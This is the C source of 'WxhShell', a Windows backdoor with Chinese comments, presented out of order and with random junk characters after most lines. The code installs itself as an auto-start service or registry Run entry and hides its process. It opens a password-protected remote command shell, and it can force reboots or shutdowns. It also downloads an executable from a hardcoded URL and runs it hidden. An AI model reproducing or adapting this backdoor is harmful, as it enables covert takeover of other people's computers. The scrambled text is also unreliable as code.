    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9M1d%jT  
    if(Boot(SHUTDOWN)) Xa[?^P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9$|Gfyv  
    else { *H.oP  
    closesocket(wsh); m/qbRk68s  
    ExitThread(0); JGH60|  
    } ")!,ZD  
    break; !Z5[QNVaV  
    } ~I799Xi  
  // 获取shell hDp6YV,q  
  case 's': { H03jDM8Q  
    CmdShell(wsh); * C6a?]  
    closesocket(wsh); +C(/ Lyo}  
    ExitThread(0); L[20m (6?  
    break; LbZ:&/t^y8  
  } [_.5RPJP8  
  // 退出 dGFGr}&s  
  case 'x': { lME)?LOI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t6A:Z mG_  
    CloseIt(wsh); I~9hx*!%%  
    break; S:x?6IDPC^  
    } Kbb78S30  
  // 离开 `QUy;%+  
  case 'q': { zKsz*xv6b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,57`D'  
    closesocket(wsh); {!K-E9_,S  
    WSACleanup(); x"CZ]p&m  
    exit(1); 3,Q^& 1  
    break; 0`I-2M4F*Q  
        } fz3 lV  
  } _"#!e{N|  
  } Q lHd,w  
YTjkPj:  
  // 提示信息 CCX8>09  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Y<#=C  
} ph#tgLJ  
  } vUnRi=:|  
jh.@-  
  return; bug Ot7  
}  =Mb1o[  
0^8)jpL$<9  
// shell模块句柄 5zIAhg@o:q  
int CmdShell(SOCKET sock) }h}<! s  
{ f5GdZ_  
STARTUPINFO si; yj$TPe_BW  
ZeroMemory(&si,sizeof(si)); 03iv3/{H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8l"O(B'#Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )|I5j];L  
PROCESS_INFORMATION ProcessInfo; 2]c {P\  
char cmdline[]="cmd"; !!:LJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3w!c`;c%  
  return 0; n?:=  
} pMJ1v  
BnM4T~reOF  
// 自身启动模式 7 lo|dg80  
int StartFromService(void) $7'g Rb4  
{ eJo3 MK  
typedef struct !gmH$1w  
{ ,o7hk{fR*  
  DWORD ExitStatus; 62>zt2=  
  DWORD PebBaseAddress; 3F#+~^2  
  DWORD AffinityMask; c0Dmq)HK?  
  DWORD BasePriority; \)48904^  
  ULONG UniqueProcessId; QQpP#F|w  
  ULONG InheritedFromUniqueProcessId; .Xdj(_&  
}   PROCESS_BASIC_INFORMATION; o|j*t7  
2nFy`|aA%  
PROCNTQSIP NtQueryInformationProcess; BvU"4d;x  
R <"6ojn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bhs(Qzx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aRc'  
=]>NDWqpHN  
  HANDLE             hProcess; vwr74A.g0  
  PROCESS_BASIC_INFORMATION pbi; P=5NKg  
Ce'pis   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cj*-[ EL<  
  if(NULL == hInst ) return 0; oR*=|B  
Oc&),ru2l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a? R[J==  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dxj*Q "K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Se!)n;?7Sw  
?Mp1~{8  
  if (!NtQueryInformationProcess) return 0; w18RA#Zo/  
SjdZyJa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y&2aO1  
  if(!hProcess) return 0; ?R5'#|EyX  
Uw<&Wm`'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LjdYsai-  
fB+b}aoV  
  CloseHandle(hProcess); 7);:ZpDv%L  
L "<B;u5pM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Be}$I_95\P  
if(hProcess==NULL) return 0; somfv$'B  
M_``'gw  
HMODULE hMod; [k]|Qi nk  
char procName[255]; :ZxLJK9x1  
unsigned long cbNeeded; eu'1H@vX(  
jLcHY-P0V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X-B8MoG|  
%So] 3;'  
  CloseHandle(hProcess); dZGbC9  
K<v:-TjQZ:  
if(strstr(procName,"services")) return 1; // 以服务启动 V8O.3fo`[`  
9YF$CXonE=  
  return 0; // 注册表启动 #\bP7a +  
} MjaUdfx  
nE y]`  
// 主模块 B(l-}|m_  
int StartWxhshell(LPSTR lpCmdLine) cbKL$|  
{ 6(sIYZ2yq  
  SOCKET wsl; ad!(z[F'Y  
BOOL val=TRUE; oJ78jGTnb  
  int port=0; s>z2  k  
  struct sockaddr_in door; ' eO/PnYW  
/'y5SlE[J  
  if(wscfg.ws_autoins) Install(); 4x'AC%&Qi  
he )ulB  
port=atoi(lpCmdLine); jiIST^Zq#t  
wAbp3hX  
if(port<=0) port=wscfg.ws_port; Vos?PqUi 4  
>Csbjf6  
  WSADATA data; ;Mj002.\G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R V!o4"\]  
~"ONAX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U |F>W~%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N_C_O$j  
  door.sin_family = AF_INET; WfGH|u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); za,2r^  
  door.sin_port = htons(port); /BH.>R4`A  
lVeH+"M?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s?O&ZB2GM[  
closesocket(wsl); $<e +r$1  
return 1; B[NJ^b|  
} gw Qvao  
L2U x9_S  
  if(listen(wsl,2) == INVALID_SOCKET) { RT"O;P  
closesocket(wsl); Vdvx"s[`m  
return 1; 4`mO+.za1  
} Wp*sP Z  
  Wxhshell(wsl); Um ;kd&#x  
  WSACleanup(); GhnE>d;i  
R @r{  
return 0; B- Y+F  
MM_py!=>7  
} 'yNPhI  
xbC~ C~#  
// 以NT服务方式启动 N^B@3QF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3.)_uo0;o  
{ >=!AL,:  
DWORD   status = 0; Qp&?L"U)2  
  DWORD   specificError = 0xfffffff;  ,o&<WMD  
$T*KaX\{B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a!.!2a&t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o5#,\Y[ g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?1m ,SK  
  serviceStatus.dwWin32ExitCode     = 0; e<'U8|}hc{  
  serviceStatus.dwServiceSpecificExitCode = 0; }Z6nN)[|0Y  
  serviceStatus.dwCheckPoint       = 0; H!JWc'(<$  
  serviceStatus.dwWaitHint       = 0; n.;3X  
zXgkcq)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ry,}F@P&  
  if (hServiceStatusHandle==0) return; zjoo{IH}  
/:6Q.onmLn  
status = GetLastError(); s<{GpWT8  
  if (status!=NO_ERROR) gY\mXM*^  
{ "4[<]pq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n49s3|#)G  
    serviceStatus.dwCheckPoint       = 0; ^%zNa6BL  
    serviceStatus.dwWaitHint       = 0; Fhi5LhWe+.  
    serviceStatus.dwWin32ExitCode     = status; K|~AA"I;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0HPO" x3-O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gCwt0)  
    return; X0x_+b? _  
  } Lnx2xoNk  
-$tCF>,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; akrCs&Kka5  
  serviceStatus.dwCheckPoint       = 0; #,Bj!'Q'-  
  serviceStatus.dwWaitHint       = 0; fSC.+,qk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "sIN86pCs  
} (\q[gyR  
7`+UB>8  
// 处理NT服务事件,比如:启动、停止 |bvGYsn_#=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A xR\ ned  
{ ~6fRS2u  
switch(fdwControl) @ YrGyq  
{ `L">"V`$Bj  
case SERVICE_CONTROL_STOP: }Y$VB%&Hy  
  serviceStatus.dwWin32ExitCode = 0; T@>6 3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j>g9\i0O1  
  serviceStatus.dwCheckPoint   = 0; M->Kz{h?j  
  serviceStatus.dwWaitHint     = 0; .n=xbx:=  
  { ^X(_zinN"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bF7`] 83  
  } *U2Ck<"]  
  return; (T;1q^j  
case SERVICE_CONTROL_PAUSE: tpd|y|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nO%<;-=u\  
  break; `v<f}  
case SERVICE_CONTROL_CONTINUE: `;T? 9n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `O jvt-5}E  
  break; R3cG<MjmK  
case SERVICE_CONTROL_INTERROGATE: s!=!A  
  break;  1dXh\r_n  
}; p\)h",RkA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1URT2$2p  
} >0ssza  
?~]>H A:  
// 标准应用程序主函数 8*"rZh}'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ir"* iL=  
{ "%Lmgy:~  
OHQ3+WJ  
// 获取操作系统版本 5@""_n&FV  
OsIsNt=GetOsVer(); CVi<~7Am\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $t%"Tr  
~ 6TfW~V  
  // 从命令行安装 o(BYT9|.kw  
  if(strpbrk(lpCmdLine,"iI")) Install(); s')!<E+z\t  
wP+'04H0  
  // 下载执行文件 '$lw[1  
if(wscfg.ws_downexe) { jWz|K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9eksCxFg  
  WinExec(wscfg.ws_filenam,SW_HIDE); fdvi}SS8  
} a'c9XG}  
vBV"i9n   
if(!OsIsNt) { if\k[O 1T6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pau&4h0  
HideProc(); p3i qW,[@  
StartWxhshell(lpCmdLine); CA'hvXb.  
} E]D4']  
else K1CMLX]m  
  if(StartFromService()) HP1X\h!Ke  
  // 以服务方式启动 b'i%B9yU:%  
  StartServiceCtrlDispatcher(DispatchTable); e=|F(iW  
else mOgx&ns;j  
  // 普通方式启动 `1DU b7<  
  StartWxhshell(lpCmdLine); qM+!f2t  
`V$cz88b  
return 0; c1=;W$T(s  
} m  mw)C"  
h?M'7Lti  
)i?{;%^  
e /ppZ>  
=========================================== % DHP  
;L MEU_  
h=mI{w*  
E9 :|8#b  
4?* `:  
%6vMpB`g  
" .XZ 71E  
\3 O-} n1S  
#include <stdio.h> Bil;@,Z#  
#include <string.h>  k,o=1I  
#include <windows.h> k N uN4/  
#include <winsock2.h> JRcuw'8+q  
#include <winsvc.h> 4l#T_y  
#include <urlmon.h> rmAP&Gw I  
'R-JQ E-]  
#pragma comment (lib, "Ws2_32.lib") ?Ix'2v  
#pragma comment (lib, "urlmon.lib") Ynt&cdK9  
'bQ s_  
#define MAX_USER   100 // 最大客户端连接数 P,LXZ  
#define BUF_SOCK   200 // sock buffer lu9Ir>c  
#define KEY_BUFF   255 // 输入 buffer 8#d99dOe  
C'xU=OnA8  
#define REBOOT     0   // 重启 $e^ :d  
#define SHUTDOWN   1   // 关机 )PanJHtU  
Z{|.xgsY  
#define DEF_PORT   5000 // 监听端口 |M0,%~Kt  
(urfaZ;@+  
#define REG_LEN     16   // 注册表键长度 lMI ix0sSj  
#define SVC_LEN     80   // NT服务名长度 t8wz'[z  
9x 6ca  
// 从dll定义API dk, I?c &  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); { ?1 mY"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2e D\_IW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :@z5& h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %i JU)N!  
M<|~MR  
// wxhshell配置信息 xN":2qy#T  
struct WSCFG { Z-;uzx  
  int ws_port;         // 监听端口 D aqy+:  
  char ws_passstr[REG_LEN]; // 口令 {/[?YTDU  
  int ws_autoins;       // 安装标记, 1=yes 0=no j#.-MfB  
  char ws_regname[REG_LEN]; // 注册表键名 5IB:4zx^h  
  char ws_svcname[REG_LEN]; // 服务名 l%)=s~6z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O7#}8-@}<u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O (sFs1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o^"d2=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7;#dX~>@{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t&?v9n"X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K]=>F  
I! eSJTN  
}; )v$Cv|"  
7 +W?Qo  
// default Wxhshell configuration /x"pj3  
struct WSCFG wscfg={DEF_PORT, Y=wP3q  
    "xuhuanlingzhe", _bV=G#qKK  
    1, j~0ZE -e  
    "Wxhshell", 5['B- Iw  
    "Wxhshell", 4Hd@U&E  
            "WxhShell Service", <)*g7  
    "Wrsky Windows CmdShell Service", 1Mhc1MU  
    "Please Input Your Password: ", TB3T:A>2  
  1, %A[p!U  
  "http://www.wrsky.com/wxhshell.exe", 2g07wJ6x  
  "Wxhshell.exe" R`3>0LrC8  
    }; keq[ 6Lv  
0bQiUcg/  
// 消息定义模块 T4, Zc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NS/L! "g  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ( Vv[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \?ws0Ax  
char *msg_ws_ext="\n\rExit."; M6d w~0e  
char *msg_ws_end="\n\rQuit."; an5kR_=  
char *msg_ws_boot="\n\rReboot..."; ]j#$.$q  
char *msg_ws_poff="\n\rShutdown..."; })u}PQ  
char *msg_ws_down="\n\rSave to "; eR 2T<7G  
?b''  
char *msg_ws_err="\n\rErr!"; e~~k}2~  
char *msg_ws_ok="\n\rOK!"; Z*Hxrw\!0  
s^X/ Om  
char ExeFile[MAX_PATH]; ?g*T3S"  
int nUser = 0; 4uVmhjT:X  
HANDLE handles[MAX_USER]; t>`LO  
int OsIsNt; jN[6JY1  
8'\,&f`Y  
SERVICE_STATUS       serviceStatus; S^"e5n2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <`p'6n79  
4J$f @6  
// 函数声明 8ch~UBq/  
int Install(void); 3#ZKuGg=  
int Uninstall(void); KX}dn:;(3  
int DownloadFile(char *sURL, SOCKET wsh); iOXP\:mPo  
int Boot(int flag); uU !i`8  
void HideProc(void); ik NFW*p  
int GetOsVer(void); a7d-  
int Wxhshell(SOCKET wsl); bQQ/7KM  
void TalkWithClient(void *cs); H+&w7ER  
int CmdShell(SOCKET sock); q9(}wvtr  
int StartFromService(void); ]4~D;mv  
int StartWxhshell(LPSTR lpCmdLine); !Jp.3,\?~  
y#0Z[[I0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @I.O T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $i] M6<Vxn  
M<m64{m1  
// 数据结构和表定义 Q+M3Pqy  
SERVICE_TABLE_ENTRY DispatchTable[] = ~:b~f]lO  
{ utS M x(  
{wscfg.ws_svcname, NTServiceMain}, Ph_m'fbf  
{NULL, NULL} #zD+DBTAu  
}; =w?cp}HW  
kx(:Z8DX  
// 自我安装 VQx-gm8}!  
int Install(void) zO]dQ$r\Z  
{ Ym2m1  
  char svExeFile[MAX_PATH]; 54j $A  
  HKEY key; :Lzj'Ij  
  strcpy(svExeFile,ExeFile); o=2`N2AL  
>c>ar>4xF  
// 如果是win9x系统,修改注册表设为自启动 rz7b%WY  
if(!OsIsNt) { /7)G"qG~F~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J(VZa_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O5%F-}(:  
  RegCloseKey(key); NdQ?3'WJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3yX^R^`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0].5[Jo  
  RegCloseKey(key); !_#js  
  return 0; b4PK  
    } NU*6iLIq|F  
  } ;BvWU\!  
} ? D'-{/<4  
else { (ajX ;/  
9:~^KQ{?  
// 如果是NT以上系统,安装为系统服务 Bv*h ?`Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1'B?f# s  
if (schSCManager!=0) h*%1Jkxu  
{ u%'22q$  
  SC_HANDLE schService = CreateService C@W0fz  
  ( <(%uOo$  
  schSCManager, ]F#kM211  
  wscfg.ws_svcname, ~epkRO="  
  wscfg.ws_svcdisp, ,%<77LE  
  SERVICE_ALL_ACCESS, /UAj]U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f& *E;l0  
  SERVICE_AUTO_START, [%q":Ig  
  SERVICE_ERROR_NORMAL, 4B(qVf&M  
  svExeFile, 2O>iAzc  
  NULL, d|lzkY~  
  NULL, Wc[)mYOSuO  
  NULL, h2K  
  NULL, $]86w8?-N  
  NULL `R;XN-  
  ); Hu.d^@V  
  if (schService!=0) \t3i9#Q  
  { SOJHw6  
  CloseServiceHandle(schService); }=5(*Vg  
  CloseServiceHandle(schSCManager); 5#tvc4+)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iLei-\w6y  
  strcat(svExeFile,wscfg.ws_svcname); d7Z\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SY.V_O$l }  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ps [rYy  
  RegCloseKey(key); 3f x!\  
  return 0; aqgSr|  
    } .v'8G)6g  
  } ?:c hAN@  
  CloseServiceHandle(schSCManager); 14O/R3+  
} :a2?K5  
} gUl Z cb  
Pc-HQU  
return 1; Q}]u n]]Zt  
} i[swOY z]X  
eyOAG4QTV  
// 自我卸载 hw1s^:|+2  
int Uninstall(void) Zf! 7pM  
{ na>B{6  
  HKEY key; QaV*}W  
ZO}*^  
if(!OsIsNt) { $onliW|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?IWS  
  RegDeleteValue(key,wscfg.ws_regname); pVM;xxJ  
  RegCloseKey(key); :.^{!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TM9>r :j'  
  RegDeleteValue(key,wscfg.ws_regname); #v1 4"sZ}  
  RegCloseKey(key); u Wtp2]A  
  return 0; 2 q>4nN  
  } gKnAw+u\  
} :Li)]qN.I  
} i?]!8Ji  
else { ;6Z?O_zp4  
&yuerNK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #frhO;6  
if (schSCManager!=0) xxYFWvi  
{ .(krB% N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FM5$83Q  
  if (schService!=0) G{<wXxq%  
  { =0A{z#6  
  if(DeleteService(schService)!=0) { am=56J$ig  
  CloseServiceHandle(schService); "D+QT+sD  
  CloseServiceHandle(schSCManager); =e63>*M|  
  return 0; %rYt; 7B  
  } H]-nm+  
  CloseServiceHandle(schService); Nt)9- \T  
  } rW6LMkt72  
  CloseServiceHandle(schSCManager); GIp?}tM  
} }-!$KR]:s  
} HO' HkVA  
q?6Zu:':  
return 1; *GA#.$n  
} }k%>%xQ.  
0kDT:3  
// 从指定url下载文件 h<uQ~CQg  
int DownloadFile(char *sURL, SOCKET wsh) IMBqy-q  
{ Q x:+n`$/  
  HRESULT hr; HwOw.K<  
char seps[]= "/"; g&"Nr aQM9  
char *token; cWm.']  
char *file; f!87JE=<  
char myURL[MAX_PATH]; {^~{X$YI  
char myFILE[MAX_PATH]; 1oC/W?l^  
BR|dW4\  
strcpy(myURL,sURL); ?C_%"!GR  
  token=strtok(myURL,seps); cq/)Yff@:  
  while(token!=NULL) G|o-C:~  
  { ym:JtI69   
    file=token; y jb.6  
  token=strtok(NULL,seps); MtS$ovg?  
  } ] O 2_&cs  
8F%T Z M  
GetCurrentDirectory(MAX_PATH,myFILE); 8s|r'  
strcat(myFILE, "\\"); ]UMwpL&rY  
strcat(myFILE, file); yfV{2[8ux  
  send(wsh,myFILE,strlen(myFILE),0); c$p1Sovw  
send(wsh,"...",3,0); SN+&'?$WD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :QN,T3i'/3  
  if(hr==S_OK) /wmJMX  
return 0; W2REwUps  
else J9 /w_,,R$  
return 1; 3b|.L Jz+  
}D0j%~&"e  
} ]J~5{srq:  
&:Q""e!  
// 系统电源模块 p<Zf,F}  
int Boot(int flag) z8A`BVqI  
{ ow+NT  
  HANDLE hToken; h1,J<B@  
  TOKEN_PRIVILEGES tkp; Y~Zg^x2  
e7<~[>g)  
  if(OsIsNt) { :5;[Rg5 2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9) wjVk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3n X7$$X  
    tkp.PrivilegeCount = 1; Xa-]+_?Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cLamqZf3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m^p Q55,   
if(flag==REBOOT) { 4iDo.1B"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .3$iOMCH  
  return 0; <{e0 i  
} 0ro)e~_@*  
else { N:=D@x~]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S7-?&[oeJ  
  return 0;  d+=;sJ  
} NJn~XCq  
  } V$@@!q  
  else { d d8^V_Kx  
if(flag==REBOOT) { )5&Wt@7Kj`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |U12 fuQ  
  return 0; dBCg$Rud&  
} 5PdC4vI*+  
else { =$f xK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [4 "%NY  
  return 0; J\#6U|a""u  
} S&@~F|  
} OG0ro(|dI  
^]OD+v  
return 1; 9'O<d/xj/  
} Bojm lVg  
>C@fSmnOM  
// win9x进程隐藏模块 owQLAV  
void HideProc(void) ?zxKk(J  
{ uPb9j;Q?  
;9d(GP}eE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yv,90+k  
  if ( hKernel != NULL ) ))u$j4 V  
  { ;sb0,2YyP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fFMG9]*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 61CNEzQ  
    FreeLibrary(hKernel); !i{@B  
  } }?"f#bI  
CEt_wKz f  
return; HH8a"Hq)  
} S =eP/  
 5Gg`+o  
// 获取操作系统版本 f H}`  
int GetOsVer(void) n6 )  
{ HA"LU;5>2J  
  OSVERSIONINFO winfo; n8J';F =P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vP? "MG  
  GetVersionEx(&winfo); @~/LsYA:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4TUe*F@ ML  
  return 1; zI(b#eUF  
  else #2|sS|0<  
  return 0; X2Y-TE T  
} 2= u5N[*  
hNSV}~h  
// 客户端句柄模块 SbrBlP: G  
int Wxhshell(SOCKET wsl) Pqx=j_st  
{ H?M8j] R-)  
  SOCKET wsh; '^}l|(  
  struct sockaddr_in client; ;w[|IRa  
  DWORD myID; d(42ob.Tr  
|\Jpjm)?  
  while(nUser<MAX_USER) LR'F/.Dx  
{ 7teg*M{  
  int nSize=sizeof(client); ?zKDPBj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^BSMlKyB  
  if(wsh==INVALID_SOCKET) return 1; e>y"V; Mj  
MX6;ww  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o=4d2V%m  
if(handles[nUser]==0) h5.u W8  
  closesocket(wsh); tJ[Hcx*N  
else (Kv[~W7lb  
  nUser++; $v$~.  
  } ;g7 nG{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FG1$_zN |  
o1-Zh!*a*  
  return 0; \<a(@#E*~  
} / IAK'/  
eB^:+h#A_  
// 关闭 socket "~N#Jqzr:  
void CloseIt(SOCKET wsh) Z#nj[r!l}  
{ )# M*@e$k  
closesocket(wsh); YjoN: z`b  
nUser--; #*1\h=bzmW  
ExitThread(0); )nTOIfP2  
} ?UQE;0 B  
\P+lb-~\"  
// 客户端请求句柄 )!e-5O49r  
void TalkWithClient(void *cs) {pm>F}Cwy  
{ +mYD DlvI  
O83vPK 3  
  SOCKET wsh=(SOCKET)cs; V<?t( _Y  
  char pwd[SVC_LEN]; mdtq-v  
  char cmd[KEY_BUFF]; 0ppZ~}&  
char chr[1]; O.  V!L  
int i,j; l%rwJLN1  
tAPqbi$a  
  while (nUser < MAX_USER) { a<rk'4,8a  
l X;2~iW{/  
if(wscfg.ws_passstr) { 9^c\$"2B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +}J2\!Jw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N?ky2wG  
  //ZeroMemory(pwd,KEY_BUFF); -{-w5_B$  
      i=0; ^kzw/. I{  
  while(i<SVC_LEN) { ;sS N  
3;>|*(cO  
  // 设置超时 P}KyT?X:  
  fd_set FdRead; ZH~T'Bg  
  struct timeval TimeOut; ZBB^?FF  
  FD_ZERO(&FdRead); =ugxPgn  
  FD_SET(wsh,&FdRead); BOoLs(p  
  TimeOut.tv_sec=8; 6&`.C/"2  
  TimeOut.tv_usec=0; x3MV"hm2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }2|>Y[v2j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ezY _7  
+q|2j>k@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CY <,p$  
  pwd=chr[0]; Q!(C$&f  
  if(chr[0]==0xd || chr[0]==0xa) { .u>IjK^  
  pwd=0; a#nVRPU8m  
  break; <9@I5 0;  
  } 1t WKH  
  i++; q1;}~}W;z4  
    } |nk&ir6  
Bq#?g@V  
  // 如果是非法用户,关闭 socket .Qn54tS0q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :lcZ )6&S  
} 9_n!.zA<  
fq~ <^B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .:B] a7b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Wey)DI  
~ou*' w@  
while(1) { &~29%Ns  
Ec y|l ;  
  ZeroMemory(cmd,KEY_BUFF); ek1YaE  
@V Bv}Jo  
      // 自动支持客户端 telnet标准   Qv,8tdx  
  j=0; #DXC 6f  
  while(j<KEY_BUFF) { 559znM=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <(TTYf8lS  
  cmd[j]=chr[0]; Yc/Nz(m  
  if(chr[0]==0xa || chr[0]==0xd) { }xJ9EE*G/  
  cmd[j]=0; iov55jT~l@  
  break; p6$ QTx  
  } g>_lU vSE  
  j++; kL 6f^MoL  
    } +R@5e+auQ.  
"gADHt=MIR  
  // 下载文件 ,3Y~ #{,i  
  if(strstr(cmd,"http://")) { .iNPLz1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AB'q!7NR  
  if(DownloadFile(cmd,wsh)) !j#Z48=&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( 1T2? mO  
  else >:%i,K*AM  
